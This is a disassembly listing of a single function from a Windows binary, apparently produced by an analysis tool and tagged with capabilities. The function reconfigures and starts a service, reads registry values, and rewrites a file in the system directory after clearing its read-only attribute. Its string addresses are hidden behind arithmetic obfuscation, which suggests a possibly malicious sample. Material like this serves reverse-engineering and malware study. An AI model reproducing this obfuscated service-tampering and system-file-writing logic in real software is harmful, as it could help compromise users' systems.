Function at 0x4097f0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Modify service
Set file attributes
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f19b
mov eax, dword fs:[0]
push eax
sub esp, 0x2d0
mov eax, dword [0x44206c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2a8], 0x5ea714a7
mov ecx, 0x5eeb3e63
mov eax, dword [ebp - 0x2a8]
sub ecx, eax
push 0
push 0
push 1
mov eax, dword [ecx]
push 0
mov dword [ebp - 0x2a8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x444084], eax
test eax, eax
jne 0x4098c2
mov dword [ebp - 0x2a8], 0x40d7e815
mov eax, dword [ebp - 0x2a8]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x234], 0x10
push eax
push dword [0x444088]
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x22c], 0x81
mov dword [ebp - 0x220], 0
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
jmp 0x409e85
mov edi, dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov dword [ebp - 0x2ac], 0x40d7e815
mov eax, dword [ebp - 0x2ac]
lea eax, [ebp - 0x250]
mov dword [ebp - 0x250], 0x10
push eax
push dword [0x444088]
mov dword [ebp - 0x24c], 4
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x248], 0x81
mov dword [ebp - 0x23c], 0
call edi
sub esp, 0xc
xor edx, edx
call fcn.0040a6f0
add esp, 0xc
test eax, eax
jne 0x409b0c
mov dword [ebp - 0x2ac], 0x7fb4c74e
mov ecx, 0x7ff8f10a
mov eax, dword [ebp - 0x2ac]
sub ecx, eax
push 0
push 0
push 0
mov esi, dword [ecx]
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x2ac], ebx
test ebx, ebx
je 0x409a42
lea ecx, [esi + esi]
mov edx, 0x3836a482
push 0x13
sub edx, ecx
push edx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x409a3b
lea eax, [ebp - 0x2b0]
push eax
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
jne 0x409a34
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x409a34
push dword [ebp - 0x2b0]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x409a2e
lea eax, [ebp - 0x2b0]
push eax
push dword [ebp - 0x2b0]
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x409a1e
cmp dword [ebx + 4], 4
jne 0x409a1e
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x409a1e
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [ebp - 0x2ac]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x2ac], 0x5a2304d6
mov ecx, 0x5a672e92
mov eax, dword [ebp - 0x2ac]
sub ecx, eax
mov eax, 0x3836a49a
mov ecx, dword [ecx]
add ecx, ecx
sub eax, ecx
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov ebx, eax
test ebx, ebx
je 0x409b0c
mov ecx, dword [0x444084]
lea eax, [ebp - 0x2dc]
push 0xffffffffffffffff
push 0
push eax
push 2
mov dword [ebp - 0x2dc], ebx
mov dword [ebp - 0x2d8], ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 1
jne 0x409b0c
mov dword [ebp - 0x2a8], 0x40d7e815
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x26c], 0x10
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x268], esi
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x264], 0x81
mov dword [ebp - 0x258], 0
jmp 0x409e7c
sub esp, 8
mov dword [ebp - 0x2d0], 0
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 0
push 0x80000002
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0x2b8], 2
mov dword [ebp - 0x2b4], 0
call fcn.00408c00
mov eax, dword [ebp - 0x2a8]
push 0
push ecx
mov ecx, esp
mov dword [ebp - 4], 0
lea esi, [eax*2 + 0x3eea6f46]
mov eax, 0x77211368
sub eax, esi
push eax
call fcn.00409300
lea ecx, [ebp - 0x2d0]
call fcn.0040c660
movzx eax, al
mov dword [ebp - 0x2ac], eax
mov eax, 0x77211390
push 0
push ecx
sub eax, esi
mov ecx, esp
push eax
call fcn.00409300
lea ecx, [ebp - 0x2d0]
call fcn.0040c660
push 0
movzx ebx, al
mov eax, 0x772113b4
push 0
push ecx
sub eax, esi
mov ecx, esp
push eax
call fcn.00409300
lea ecx, [ebp - 0x2d0]
call fcn.0040c590
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x409c0c
push eax
call esi
mov dword [ebp - 0x2c4], 0
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x2c0], 0
test eax, eax
je 0x409c2d
push eax
call esi
mov dword [ebp - 0x2d0], 0
mov edx, dword [ebp - 0x2a8]
mov eax, 0x77211360
mov dword [ebp - 0x2cc], 0
lea ecx, [edx*2 + 0x3eea6f46]
sub eax, ecx
push eax
call fcn.0040ae30
test ebx, ebx
jne 0x409c5a
call fcn.00402050
mov edx, dword [ebp - 0x2ac]
call fcn.00402910
mov esi, eax
test esi, esi
jne 0x409d1b
mov edx, 0x3e8
lea ecx, [eax + 1]
call fcn.00402be0
mov esi, eax
cmp esi, 0x5b4
jne 0x409d24
lea ebx, [ebx]
mov dword [ebp - 0x2a8], 0x40d7e815
mov eax, dword [ebp - 0x2a8]
mov eax, dword [0x442a1c]
mov dword [ebp - 0x274], eax
inc eax
mov dword [0x442a1c], eax
lea eax, [ebp - 0x288]
push eax
push dword [0x444088]
mov dword [ebp - 0x288], 0x10
mov dword [ebp - 0x284], 3
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x270], 0xbb8
mov dword [ebp - 0x280], 0x81
call edi
mov edx, 0x3e8
mov ecx, 1
call fcn.00402be0
mov esi, eax
cmp esi, 0x5b4
je 0x409c90
jmp 0x409d24
xor edx, edx
xor ecx, ecx
call fcn.00402be0
test ebx, ebx
jne 0x409e24
mov dword [ebp - 0x2a8], 0x48d22655
mov ecx, 0x3512f93c
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x2a8], 0x34cecf80
mov eax, dword [ebp - 0x2a8]
sub ecx, eax
push 0x104
lea eax, [ebp - 0x218]
push eax
mov ebx, dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x409e24
lea ecx, [ebx + ebx]
mov edx, 0x38369d9a
sub edx, ecx
mov ecx, 0x104
sub ecx, eax
push edx
push ecx
lea ecx, [ebp - 0x218]
lea eax, [ecx + eax*2]
push eax
call fcn.0041a06a
add esp, 0xc
test eax, eax
jne 0x409e24
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x409dcf
test bl, 1
je 0x409dcf
mov ecx, ebx
lea eax, [ebp - 0x218]
and ecx, 0xfffffffe
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x409dcf
or ebx, 0xffffffff
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2a8], eax
cmp eax, 0xffffffff
je 0x409e0c
mov ecx, eax
call fcn.00402410
push dword [ebp - 0x2a8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
je 0x409e24
test bl, 1
je 0x409e24
push ebx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x2a8], 0x40d7e815
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x2a4], 0x10
lea eax, [ebp - 0x2a4]
mov dword [ebp - 0x2a0], 1
mov dword [ebp - 0x298], esi
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x29c], 0x81
mov dword [ebp - 0x290], 0
push eax
push dword [0x444088]
call edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004146e0
mov esp, ebp
pop ebp
ret